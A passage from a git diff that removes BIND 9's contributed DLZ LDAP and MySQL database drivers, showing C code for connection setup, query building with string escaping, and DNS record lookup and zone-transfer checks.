-			result = ISC_R_NOTFOUND;
-		} else if (entries > 0) {
-			result = ISC_R_SUCCESS;
-		} else {
-			result = ISC_R_FAILURE;
-		}
-		break;
-	default:
-		/*
-		 * this should never happen.  If it does, the code is
-		 * screwed up!
-		 */
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "Incorrect query flag passed to "
-				 "ldap_get_results");
-		result = ISC_R_UNEXPECTED;
-	}
-
-cleanup:
-	/* it's always good to cleanup after yourself */
-
-	/* if we retrieved results, free them */
-	if (ldap_msg != NULL) {
-		ldap_msgfree(ldap_msg);
-	}
-
-	if (ldap_url != NULL) {
-		ldap_free_urldesc(ldap_url);
-	}
-
-	/* cleanup */
-	if (dbi->zone != NULL) {
-		isc_mem_free(named_g_mctx, dbi->zone);
-	}
-	if (dbi->record != NULL) {
-		isc_mem_free(named_g_mctx, dbi->record);
-	}
-	if (dbi->client != NULL) {
-		isc_mem_free(named_g_mctx, dbi->client);
-	}
-
-	/* release the lock so another thread can use this dbi */
-	isc_mutex_unlock(&dbi->instance_lock);
-
-	/* release query string */
-	if (querystring != NULL) {
-		isc_mem_free(named_g_mctx, querystring);
-	}
-
-	/* return result */
-	return (result);
-}
-
-/*
- * DLZ methods
- */
-static isc_result_t
-dlz_ldap_allowzonexfr(void *driverarg, void *dbdata, const char *name,
-		      const char *client) {
-	isc_result_t result;
-
-	UNUSED(driverarg);
-
-	/* check to see if we are authoritative for the zone first */
-	result = dlz_ldap_findzone(driverarg, dbdata, name, NULL, NULL);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	/* get all the zone data */
-	result = ldap_get_results(name, NULL, client, ALLOWXFR, dbdata, NULL);
-	return (result);
-}
-
-static isc_result_t
-dlz_ldap_allnodes(const char *zone, void *driverarg, void *dbdata,
-		  dns_sdlzallnodes_t *allnodes) {
-	UNUSED(driverarg);
-	return (ldap_get_results(zone, NULL, NULL, ALLNODES, dbdata, allnodes));
-}
-
-static isc_result_t
-dlz_ldap_authority(const char *zone, void *driverarg, void *dbdata,
-		   dns_sdlzlookup_t *lookup) {
-	UNUSED(driverarg);
-	return (ldap_get_results(zone, NULL, NULL, AUTHORITY, dbdata, lookup));
-}
-
-static isc_result_t
-dlz_ldap_findzone(void *driverarg, void *dbdata, const char *name,
-		  dns_clientinfomethods_t *methods,
-		  dns_clientinfo_t *clientinfo) {
-	UNUSED(driverarg);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-	return (ldap_get_results(name, NULL, NULL, FINDZONE, dbdata, NULL));
-}
-
-static isc_result_t
-dlz_ldap_lookup(const char *zone, const char *name, void *driverarg,
-		void *dbdata, dns_sdlzlookup_t *lookup,
-		dns_clientinfomethods_t *methods,
-		dns_clientinfo_t *clientinfo) {
-	isc_result_t result;
-
-	UNUSED(driverarg);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-
-	if (strcmp(name, "*") == 0) {
-		result = ldap_get_results(zone, "~", NULL, LOOKUP, dbdata,
-					  lookup);
-	} else {
-		result = ldap_get_results(zone, name, NULL, LOOKUP, dbdata,
-					  lookup);
-	}
-	return (result);
-}
-
-static isc_result_t
-dlz_ldap_create(const char *dlzname, unsigned int argc, char *argv[],
-		void *driverarg, void **dbdata) {
-	isc_result_t result;
-	ldap_instance_t *ldap_inst = NULL;
-	dbinstance_t *dbi = NULL;
-	int protocol;
-	int method;
-	int dbcount;
-	char *endp;
-	/* db_list_t *dblist = NULL; */
-	int i;
-
-	UNUSED(dlzname);
-	UNUSED(driverarg);
-
-	/* if debugging, let user know we are multithreaded. */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(1), "LDAP driver running multithreaded");
-
-	if (argc < 9) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "LDAP driver requires at least "
-			      "8 command line args.");
-		return (ISC_R_FAILURE);
-	}
-
-	/* no more than 13 arg's should be passed to the driver */
-	if (argc > 12) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "LDAP driver cannot accept more than "
-			      "11 command line args.");
-		return (ISC_R_FAILURE);
-	}
-
-	/* determine protocol version. */
-	if (strncasecmp(argv[2], V2, strlen(V2)) == 0) {
-		protocol = 2;
-	} else if (strncasecmp(argv[2], V3, strlen(V3)) == 0) {
-		protocol = 3;
-	} else {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "LDAP driver protocol must be either %s or %s",
-			      V2, V3);
-		return (ISC_R_FAILURE);
-	}
-
-	/* determine connection method. */
-	if (strncasecmp(argv[3], SIMPLE, strlen(SIMPLE)) == 0) {
-		method = LDAP_AUTH_SIMPLE;
-	} else if (strncasecmp(argv[3], KRB41, strlen(KRB41)) == 0) {
-		method = LDAP_AUTH_KRBV41;
-	} else if (strncasecmp(argv[3], KRB42, strlen(KRB42)) == 0) {
-		method = LDAP_AUTH_KRBV42;
-	} else {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "LDAP driver authentication method must be "
-			      "one of %s, %s or %s",
-			      SIMPLE, KRB41, KRB42);
-		return (ISC_R_FAILURE);
-	}
-
-	/* check how many db connections we should create */
-	dbcount = strtol(argv[1], &endp, 10);
-	if (*endp != '\0' || dbcount < 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "LDAP driver database connection count "
-			      "must be positive.");
-		return (ISC_R_FAILURE);
-	}
-
-	/* check that LDAP URL parameters make sense */
-	switch (argc) {
-	case 12:
-		result = dlz_ldap_checkURL(argv[11], 0, "allow zone transfer");
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-	case 11:
-		result = dlz_ldap_checkURL(argv[10], 3, "all nodes");
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-	case 10:
-		if (strlen(argv[9]) > 0) {
-			result = dlz_ldap_checkURL(argv[9], 3, "authority");
-			if (result != ISC_R_SUCCESS) {
-				return (result);
-			}
-		}
-	case 9:
-		result = dlz_ldap_checkURL(argv[8], 3, "lookup");
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-		result = dlz_ldap_checkURL(argv[7], 0, "find zone");
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-		break;
-	default:
-		/* not really needed, should shut up compiler. */
-		result = ISC_R_FAILURE;
-	}
-
-	/* allocate memory for LDAP instance */
-	ldap_inst = isc_mem_get(named_g_mctx, sizeof(ldap_instance_t));
-	memset(ldap_inst, 0, sizeof(ldap_instance_t));
-
-	/* store info needed to automatically re-connect. */
-	ldap_inst->protocol = protocol;
-	ldap_inst->method = method;
-	ldap_inst->hosts = isc_mem_strdup(named_g_mctx, argv[6]);
-	ldap_inst->user = isc_mem_strdup(named_g_mctx, argv[4]);
-	ldap_inst->cred = isc_mem_strdup(named_g_mctx, argv[5]);
-
-	/* allocate memory for database connection list */
-	ldap_inst->db = isc_mem_get(named_g_mctx, sizeof(db_list_t));
-
-	/* initialize DB connection list */
-	ISC_LIST_INIT(*(ldap_inst->db));
-
-	/*
-	 * create the appropriate number of database instances (DBI)
-	 * append each new DBI to the end of the list
-	 */
-	for (i = 0; i < dbcount; i++) {
-		/* how many queries were passed in from config file? */
-		switch (argc) {
-		case 9:
-			result = build_sqldbinstance(named_g_mctx, NULL, NULL,
-						     NULL, argv[7], argv[8],
-						     NULL, &dbi);
-			break;
-		case 10:
-			result = build_sqldbinstance(named_g_mctx, NULL, NULL,
-						     argv[9], argv[7], argv[8],
-						     NULL, &dbi);
-			break;
-		case 11:
-			result = build_sqldbinstance(named_g_mctx, argv[10],
-						     NULL, argv[9], argv[7],
-						     argv[8], NULL, &dbi);
-			break;
-		case 12:
-			result = build_sqldbinstance(named_g_mctx, argv[10],
-						     argv[11], argv[9], argv[7],
-						     argv[8], NULL, &dbi);
-			break;
-		default:
-			/* not really needed, should shut up compiler. */
-			result = ISC_R_FAILURE;
-		}
-
-		if (result == ISC_R_SUCCESS) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(2),
-				      "LDAP driver created "
-				      "database instance object.");
-		} else { /* unsuccessful?, log err msg and cleanup. */
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "LDAP driver could not create "
-				      "database instance object.");
-			goto cleanup;
-		}
-
-		ISC_LINK_INIT(dbi, link);
-		ISC_LIST_APPEND(*(ldap_inst->db), dbi, link);
-
-		/* attempt to connect */
-		result = dlz_ldap_connect(ldap_inst, dbi);
-
-		/*
-		 * if db connection cannot be created, log err msg and
-		 * cleanup.
-		 */
-		switch (result) {
-		/* success, do nothing */
-		case ISC_R_SUCCESS:
-			break;
-		/*
-		 * no memory means ldap_init could not
-		 * allocate memory
-		 */
-		case ISC_R_NOMEMORY:
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "LDAP driver could not allocate memory "
-				      "for connection number %u",
-				      i + 1);
-			goto cleanup;
-			break;
-		/*
-		 * no perm means ldap_set_option could not set
-		 * protocol version
-		 */
-		case ISC_R_NOPERM:
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "LDAP driver could not "
-				      "set protocol version.");
-			result = ISC_R_FAILURE;
-			goto cleanup;
-			break;
-		/* failure means couldn't connect to ldap server */
-		case ISC_R_FAILURE:
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "LDAP driver could not "
-				      "bind connection number %u to server.",
-				      i + 1);
-			goto cleanup;
-			break;
-		/*
-		 * default should never happen.  If it does,
-		 * major errors.
-		 */
-		default:
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "dlz_ldap_create() failed: %s",
-					 isc_result_totext(result));
-			result = ISC_R_UNEXPECTED;
-			goto cleanup;
-			break;
-		} /* end switch(result) */
-
-		/* set DBI = null for next loop through. */
-		dbi = NULL;
-	} /* end for loop */
-
-	/* set dbdata to the ldap_instance we created. */
-	*dbdata = ldap_inst;
-
-	/* hey, we got through all of that ok, return success. */
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	dlz_ldap_destroy(NULL, ldap_inst);
-
-	return (ISC_R_FAILURE);
-}
-
-void
-dlz_ldap_destroy(void *driverarg, void *dbdata) {
-	UNUSED(driverarg);
-
-	if (dbdata != NULL) {
-		/* cleanup the list of DBI's */
-		ldap_destroy_dblist(
-			(db_list_t *)((ldap_instance_t *)dbdata)->db);
-
-		if (((ldap_instance_t *)dbdata)->hosts != NULL) {
-			isc_mem_free(named_g_mctx,
-				     ((ldap_instance_t *)dbdata)->hosts);
-		}
-
-		if (((ldap_instance_t *)dbdata)->user != NULL) {
-			isc_mem_free(named_g_mctx,
-				     ((ldap_instance_t *)dbdata)->user);
-		}
-
-		if (((ldap_instance_t *)dbdata)->cred != NULL) {
-			isc_mem_free(named_g_mctx,
-				     ((ldap_instance_t *)dbdata)->cred);
-		}
-
-		isc_mem_put(named_g_mctx, dbdata, sizeof(ldap_instance_t));
-	}
-}
-
-static dns_sdlzmethods_t dlz_ldap_methods = {
-	dlz_ldap_create,
-	dlz_ldap_destroy,
-	dlz_ldap_findzone,
-	dlz_ldap_lookup,
-	dlz_ldap_authority,
-	dlz_ldap_allnodes,
-	dlz_ldap_allowzonexfr,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-};
-
-/*%
- * Wrapper around dns_sdlzregister().
- */
-isc_result_t
-dlz_ldap_init(void) {
-	isc_result_t result;
-
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Registering DLZ ldap driver.");
-
-	result = dns_sdlzregister("ldap", &dlz_ldap_methods, NULL,
-				  DNS_SDLZFLAG_RELATIVEOWNER |
-					  DNS_SDLZFLAG_RELATIVERDATA,
-				  named_g_mctx, &dlz_ldap);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "dns_sdlzregister() failed: %s",
-				 isc_result_totext(result));
-		result = ISC_R_UNEXPECTED;
-	}
-
-	return (result);
-}
-
-/*%
- * Wrapper around dns_sdlzunregister().
- */
-void
-dlz_ldap_clear(void) {
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Unregistering DLZ ldap driver.");
-
-	if (dlz_ldap != NULL) {
-		dns_sdlzunregister(&dlz_ldap);
-	}
-}
-
-#endif /* ifdef DLZ_LDAP */
diff --git a/contrib/dlz/drivers/dlz_mysql_driver.c b/contrib/dlz/drivers/dlz_mysql_driver.c
deleted file mode 100644
index 86a7f59e01..0000000000
--- a/contrib/dlz/drivers/dlz_mysql_driver.c
+++ /dev/null
@@ -1,1056 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*
- * Copyright (C) 1999-2001, 2016  Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- */
-
-#ifdef DLZ_MYSQL
-#include <mysql.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include <isc/mem.h>
-#include <isc/platform.h>
-#include <isc/print.h>
-#include <isc/result.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include <dns/log.h>
-#include <dns/result.h>
-#include <dns/sdlz.h>
-
-#include <dlz/dlz_mysql_driver.h>
-#include <dlz/sdlz_helper.h>
-#include <named/globals.h>
-
-#if !defined(LIBMARIADB) && MYSQL_VERSION_ID >= 80000
-typedef bool my_bool;
-#endif /* !defined(LIBMARIADB) && MYSQL_VERSION_ID >= 80000 */
-
-static dns_sdlzimplementation_t *dlz_mysql = NULL;
-
-#define dbc_search_limit 30
-#define ALLNODES	 1
-#define ALLOWXFR	 2
-#define AUTHORITY	 3
-#define FINDZONE	 4
-#define COUNTZONE	 5
-#define LOOKUP		 6
-
-#define safeGet(in) in == NULL ? "" : in
-
-/*
- * Private methods
- */
-
-/*%
- * Allocates memory for a new string, and then constructs the new
- * string by "escaping" the input string.  The new string is
- * safe to be used in queries.  This is necessary because we cannot
- * be sure of what types of strings are passed to us, and we don't
- * want special characters in the string causing problems.
- */
-
-static char *
-mysqldrv_escape_string(MYSQL *mysql, const char *instr) {
-	char *outstr;
-	unsigned int len;
-
-	if (instr == NULL) {
-		return (NULL);
-	}
-
-	len = strlen(instr);
-
-	outstr = isc_mem_allocate(named_g_mctx, (2 * len * sizeof(char)) + 1);
-
-	mysql_real_escape_string(mysql, outstr, instr, len);
-
-	return (outstr);
-}
-
-/*%
- * This function is the real core of the driver.   Zone, record
- * and client strings are passed in (or NULL is passed if the
- * string is not available).  The type of query we want to run
- * is indicated by the query flag, and the dbdata object is passed
- * passed in to.  dbdata really holds a single database instance.
- * The function will construct and run the query, hopefully getting
- * a result set.
- */
-
-static isc_result_t
-mysql_get_resultset(const char *zone, const char *record, const char *client,
-		    unsigned int query, void *dbdata, MYSQL_RES **rs) {
-	isc_result_t result;
-	dbinstance_t *dbi = NULL;
-	char *querystring = NULL;
-	unsigned int i = 0;
-	unsigned int j = 0;
-	int qres = 0;
-
-	if (query != COUNTZONE) {
-		REQUIRE(*rs == NULL);
-	} else {
-		REQUIRE(rs == NULL);
-	}
-
-	/* get db instance / connection */
-	dbi = (dbinstance_t *)dbdata;
-
-	/* if DBI is null, can't do anything else */
-	if (dbi == NULL) {
-		return (ISC_R_FAILURE);
-	}
-
-	/* what type of query are we going to run? */
-	switch (query) {
-	case ALLNODES:
-		/*
-		 * if the query was not passed in from the config file
-		 * then we can't run it.  return not_implemented, so
-		 * it's like the code for that operation was never
-		 * built into the driver.... AHHH flexibility!!!
-		 */
-		if (dbi->allnodes_q == NULL) {
-			result = ISC_R_NOTIMPLEMENTED;
-			goto cleanup;
-		}
-		break;
-	case ALLOWXFR:
-		/* same as comments as ALLNODES */
-		if (dbi->allowxfr_q == NULL) {
-			result = ISC_R_NOTIMPLEMENTED;
-			goto cleanup;
-		}
-		break;
-	case AUTHORITY:
-		/* same as comments as ALLNODES */
-		if (dbi->authority_q == NULL) {
-			result = ISC_R_NOTIMPLEMENTED;
-			goto cleanup;
-		}
-		break;
-	case FINDZONE:
-		/* this is required.  It's the whole point of DLZ! */
-		if (dbi->findzone_q == NULL) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(2),
-				      "No query specified for findzone.  "
-				      "Findzone requires a query");
-			result = ISC_R_FAILURE;
-			goto cleanup;
-		}
-		break;
-	case COUNTZONE:
-		/* same as comments as ALLNODES */
-		if (dbi->countzone_q == NULL) {
-			result = ISC_R_NOTIMPLEMENTED;
-			goto cleanup;
-		}
-		break;
-	case LOOKUP:
-		/* this is required.  It's also a major point of DLZ! */
-		if (dbi->lookup_q == NULL) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(2),
-				      "No query specified for lookup.  "
-				      "Lookup requires a query");
-			result = ISC_R_FAILURE;
-			goto cleanup;
-		}
-		break;
-	default:
-		/*
-		 * this should never happen.  If it does, the code is
-		 * screwed up!
-		 */
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "Incorrect query flag passed to "
-				 "mysql_get_resultset");
-		result = ISC_R_UNEXPECTED;
-		goto cleanup;
-	}
-
-	/*
-	 * was a zone string passed?  If so, make it safe for use in
-	 * queries.
-	 */
-	if (zone != NULL) {
-		dbi->zone = mysqldrv_escape_string((MYSQL *)dbi->dbconn, zone);
-		if (dbi->zone == NULL) {
-			result = ISC_R_NOMEMORY;
-			goto cleanup;
-		}
-	} else { /* no string passed, set the string pointer to NULL */
-		dbi->zone = NULL;
-	}
-
-	/*
-	 * was a record string passed?  If so, make it safe for use in
-	 * queries.
-	 */
-	if (record != NULL) {
-		dbi->record = mysqldrv_escape_string((MYSQL *)dbi->dbconn,
-						     record);
-		if (dbi->record == NULL) {
-			result = ISC_R_NOMEMORY;
-			goto cleanup;
-		}
-	} else { /* no string passed, set the string pointer to NULL */
-		dbi->record = NULL;
-	}
-
-	/*
-	 * was a client string passed?  If so, make it safe for use in
-	 * queries.
-	 */
-	if (client != NULL) {
-		dbi->client = mysqldrv_escape_string((MYSQL *)dbi->dbconn,
-						     client);
-		if (dbi->client == NULL) {
-			result = ISC_R_NOMEMORY;
-			goto cleanup;
-		}
-	} else { /* no string passed, set the string pointer to NULL */
-		dbi->client = NULL;
-	}
-
-	/*
-	 * what type of query are we going to run?  this time we build
-	 * the actual query to run.
-	 */
-	switch (query) {
-	case ALLNODES:
-		querystring = build_querystring(named_g_mctx, dbi->allnodes_q);
-		break;
-	case ALLOWXFR:
-		querystring = build_querystring(named_g_mctx, dbi->allowxfr_q);
-		break;
-	case AUTHORITY:
-		querystring = build_querystring(named_g_mctx, dbi->authority_q);
-		break;
-	case FINDZONE:
-		querystring = build_querystring(named_g_mctx, dbi->findzone_q);
-		break;
-	case COUNTZONE:
-		querystring = build_querystring(named_g_mctx, dbi->countzone_q);
-		break;
-	case LOOKUP:
-		querystring = build_querystring(named_g_mctx, dbi->lookup_q);
-		break;
-	default:
-		/*
-		 * this should never happen.  If it does, the code is
-		 * screwed up!
-		 */
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "Incorrect query flag passed to "
-				 "mysql_get_resultset");
-		result = ISC_R_UNEXPECTED;
-		goto cleanup;
-	}
-
-	/* if the querystring is null, Bummer, outta RAM.  UPGRADE TIME!!!   */
-	if (querystring == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto cleanup;
-	}
-
-	/*
-	 * output the full query string during debug so we can see
-	 * what lame error the query has.
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(1), "\nQuery String: %s\n", querystring);
-
-	/* attempt query up to 3 times. */
-	for (i = 0; i < 3; i++) {
-		qres = mysql_query((MYSQL *)dbi->dbconn, querystring);
-		if (qres == 0) {
-			break;
-		}
-		for (j = 0; mysql_ping((MYSQL *)dbi->dbconn) != 0 && j < 4; j++)
-			;
-	}
-
-	if (qres == 0) {
-		result = ISC_R_SUCCESS;
-		if (query != COUNTZONE) {
-			*rs = mysql_store_result((MYSQL *)dbi->dbconn);
-			if (*rs == NULL) {
-				result = ISC_R_FAILURE;
-			}
-		}
-	} else {
-		result = ISC_R_FAILURE;
-	}
-
-cleanup:
-	/* it's always good to cleanup after yourself */
-
-	/* free dbi->zone string */
-	if (dbi->zone != NULL) {
-		isc_mem_free(named_g_mctx, dbi->zone);
-	}
-
-	/* free dbi->record string */
-	if (dbi->record != NULL) {
-		isc_mem_free(named_g_mctx, dbi->record);
-	}
-
-	/* free dbi->client string */
-	if (dbi->client != NULL) {
-		isc_mem_free(named_g_mctx, dbi->client);
-	}
-
-	/* release query string */
-	if (querystring != NULL) {
-		isc_mem_free(named_g_mctx, querystring);
-	}
-
-	/* return result */
-	return (result);
-}
-
-/*%
- * The processing of result sets for lookup and authority are
- * exactly the same.  So that functionality has been moved
- * into this function to minimize code.
- */
-
-static isc_result_t
-mysql_process_rs(dns_sdlzlookup_t *lookup, MYSQL_RES *rs) {
-	isc_result_t result = ISC_R_NOTFOUND;
-	MYSQL_ROW row;
-	unsigned int fields;
-	unsigned int j;
-	unsigned int len;
-	char *tmpString;
-	char *endp;
-	int ttl;
-
-	row = mysql_fetch_row(rs);     /* get a row from the result set */
-	fields = mysql_num_fields(rs); /* how many columns in result set */
-	while (row != NULL) {
-		switch (fields) {
-		case 1:
-			/*
-			 * one column in rs, it's the data field.  use
-			 * default type of A record, and default TTL
-			 * of 86400
-			 */
-			result = dns_sdlz_putrr(lookup, "a", 86400,
-						safeGet(row[0]));
-			break;
-		case 2:
-			/*
-			 * two columns, data field, and data type.
-			 * use default TTL of 86400.
-			 */
-			result = dns_sdlz_putrr(lookup, safeGet(row[0]), 86400,
-						safeGet(row[1]));
-			break;
-		case 3:
-			/*
-			 * three columns, all data no defaults.
-			 * convert text to int, make sure it worked
-			 * right.
-			 */
-			ttl = strtol(safeGet(row[0]), &endp, 10);
-			if (*endp != '\0' || ttl < 0) {
-				isc_log_write(dns_lctx,
-					      DNS_LOGCATEGORY_DATABASE,
-					      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-					      "mysql driver ttl must be "
-					      "a positive number");
-			}
-			result = dns_sdlz_putrr(lookup, safeGet(row[1]), ttl,
-						safeGet(row[2]));
-			break;
-		default:
-			/*
-			 * more than 3 fields, concatenate the last
-			 * ones together.  figure out how long to make
-			 * string.
-			 */
-			for (j = 2, len = 0; j < fields; j++) {
-				len += strlen(safeGet(row[j])) + 1;
-			}
-			/*
-			 * allocate string memory, allow for NULL to
-			 * term string
-			 */
-			tmpString = isc_mem_allocate(named_g_mctx, len + 1);
-			/* copy field to tmpString */
-			strcpy(tmpString, safeGet(row[2]));
-
-			/*
-			 * concat the rest of fields together, space
-			 * between each one.
-			 */
-			for (j = 3; j < fields; j++) {
-				strcat(tmpString, " ");
-				strcat(tmpString, safeGet(row[j]));
-			}
-			/* convert text to int, make sure it worked right */
-			ttl = strtol(safeGet(row[0]), &endp, 10);
-			if (*endp != '\0' || ttl < 0) {
-				isc_log_write(dns_lctx,
-					      DNS_LOGCATEGORY_DATABASE,
-					      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-					      "mysql driver ttl must be "
-					      "a positive number");
-			}
-			/* ok, now tell Bind about it. */
-			result = dns_sdlz_putrr(lookup, safeGet(row[1]), ttl,
-						tmpString);
-			/* done, get rid of this thing. */
-			isc_mem_free(named_g_mctx, tmpString);
-		}
-		/* I sure hope we were successful */
-		if (result != ISC_R_SUCCESS) {
-			/* nope, get rid of the Result set, and log a msg */
-			mysql_free_result(rs);
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "dns_sdlz_putrr returned error. "
-				      "Error code was: %s",
-				      isc_result_totext(result));
-			return (ISC_R_FAILURE);
-		}
-		row = mysql_fetch_row(rs); /* get next row */
-	}
-
-	/* free result set memory */
-	mysql_free_result(rs);
-
-	/* return result code */
-	return (result);
-}
-
-/*
- * SDLZ interface methods
- */
-
-/*% determine if the zone is supported by (in) the database */
-
-static isc_result_t
-mysql_findzone(void *driverarg, void *dbdata, const char *name,
-	       dns_clientinfomethods_t *methods, dns_clientinfo_t *clientinfo) {
-	isc_result_t result;
-	MYSQL_RES *rs = NULL;
-	my_ulonglong rows;
-
-	UNUSED(driverarg);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-
-	/* run the query and get the result set from the database. */
-	result = mysql_get_resultset(name, NULL, NULL, FINDZONE, dbdata, &rs);
-	/* if we didn't get a result set, log an err msg. */
-	if (result != ISC_R_SUCCESS || rs == NULL) {
-		if (rs != NULL) {
-			mysql_free_result(rs);
-		}
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "mysql driver unable to return "
-			      "result set for findzone query");
-		return (ISC_R_FAILURE);
-	}
-	/* count how many rows in result set */
-	rows = mysql_num_rows(rs);
-	/* get rid of result set, we are done with it. */
-	mysql_free_result(rs);
-
-	/* if we returned any rows, zone is supported. */
-	if (rows > 0) {
-		mysql_get_resultset(name, NULL, NULL, COUNTZONE, dbdata, NULL);
-		return (ISC_R_SUCCESS);
-	}
-
-	/* no rows returned, zone is not supported. */
-	return (ISC_R_NOTFOUND);
-}
-
-/*% Determine if the client is allowed to perform a zone transfer */
-static isc_result_t
-mysql_allowzonexfr(void *driverarg, void *dbdata, const char *name,
-		   const char *client) {
-	isc_result_t result;
-	MYSQL_RES *rs = NULL;
-	my_ulonglong rows;
-
-	UNUSED(driverarg);
-
-	/* first check if the zone is supported by the database. */
-	result = mysql_findzone(driverarg, dbdata, name, NULL, NULL);
-	if (result != ISC_R_SUCCESS) {
-		return (ISC_R_NOTFOUND);
-	}
-
-	/*
-	 * if we get to this point we know the zone is supported by
-	 * the database the only questions now are is the zone
-	 * transfer is allowed for this client and did the config file
-	 * have an allow zone xfr query.
-	 *
-	 * Run our query, and get a result set from the database.
-	 */
-	result = mysql_get_resultset(name, NULL, client, ALLOWXFR, dbdata, &rs);
-	/* if we get "not implemented", send it along. */
-	if (result == ISC_R_NOTIMPLEMENTED) {
-		return (result);
-	}
-	/* if we didn't get a result set, log an err msg. */
-	if (result != ISC_R_SUCCESS || rs == NULL) {
-		if (rs != NULL) {
-			mysql_free_result(rs);
-		}
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "mysql driver unable to return "
-			      "result set for allow xfr query");
